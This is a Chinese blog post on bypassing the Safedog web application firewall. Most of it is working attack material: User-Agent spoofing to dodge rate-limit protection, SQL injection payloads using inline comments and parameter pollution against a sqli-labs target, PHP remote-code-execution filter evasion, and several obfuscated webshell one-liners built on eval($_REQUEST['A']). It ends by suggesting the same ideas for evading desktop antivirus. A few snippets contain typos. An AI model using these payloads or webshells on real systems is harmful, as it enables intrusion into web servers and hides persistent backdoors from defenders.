0
点赞
收藏
分享

微信扫一扫

waf绕过:网络安全狗绕过

朱悟能_9ad4 2024-08-08 阅读 25

引言:

网络攻击或扫描绕过

1.get绕过(未开启cc防护)

2.cc防护绕过

        cc防护:和检测流量攻击的原理相同,同一ip并发数过多对其进行禁用
        1)延迟绕过:限制扫描速率
        2)爬虫引擎:更换User-Agent头
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html) 
Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)

sql注入绕过

sql内联注释绕过:针对MySQL

//被拦截
http://192.168.10.111/sqli-labs/Less-1/?id=2 and 1=1
//成功注入
http://192.168.10.111/sqli-labs/Less-1/?id=2' /*!10441and*/ 1=2 --+

特殊符号绕过:

192.168.10.111/sqli-labs/Less-1/?id=2' --+/*%0a and 1=2 union select 1,2,3%23*/
-- 最后展现在sql中的语句为
--+/*
and 1=2 union select 1,2,3 #*/

HPP参数污染:针对apache

因为apach接收数据时允许同名数据,并且最后一个数据为有效值,所以只有第最后一个参数后的语句有效

192.168.10.111/sqli-labs/Less-1/?id=2' /*2' and 1=2 union select 1,database(),3 %23*/

 RCE绕过

变量拼接绕过

waf对某些特殊字符串进行检测时可以使用

//如果对phpinfo检测,可以把参数改为
$a='php';$b='info';$c=$a.$b;$c();

编码绕过 

assert(base64_decode('cGhwaW5mbygpOw=='));

字符替换绕过

assert(str_replace('x','','sxyxsxtxexm("ipconfig")'));

传参绕过

url:rce_eval.php?str=tem
$b=sys;$c=$_GET['str'];$a=$b.$c;$a('ipconfig');

后渗透绕过(木马免杀)

waf中eval和$_REQUEST同时出现时会被拦截

end免杀

eval(end($_REQUEST['A']));

define免杀

define("b","$_REQUEST['A']");
eval(b);

 拼接免杀

$a='ev';
$b='al';
$c=$a.$b;
$d='c';
$d($_REQUEST['A']);
//等价于eval($_REQUEST['A']);

函数免杀

function abc($b){
returb $b;
}
$a = abc("$_REQUEST['A']");
eval($a);

类定义绕过

class user{
$name='';
function __construct($name){
$this->name=$name;
}
function __destruct(){
eval($this->name);
}
}
$a=new user($_REQUEST['A']);

cookie绕过

$cookie = $_COOKIE;
foreach($cookie as $key => $value){
if($key=='eval'){
$key($_REQUEST['A']);
}
}

预定义函数绕过

$defun = $get_define_functions();
//使用defun获取assert
$defun['internal'][841]($_REQUEST['A']);

编码绕过 

eval(base64_decode('JF9SRVFVRVNUWydBJ10='));

并不是所有方式都是有用 

 

对于pc防火墙免杀如 火绒、360,也可以使用相同的思路

对于火绒免杀,有效的方法

举报

相关推荐

0 条评论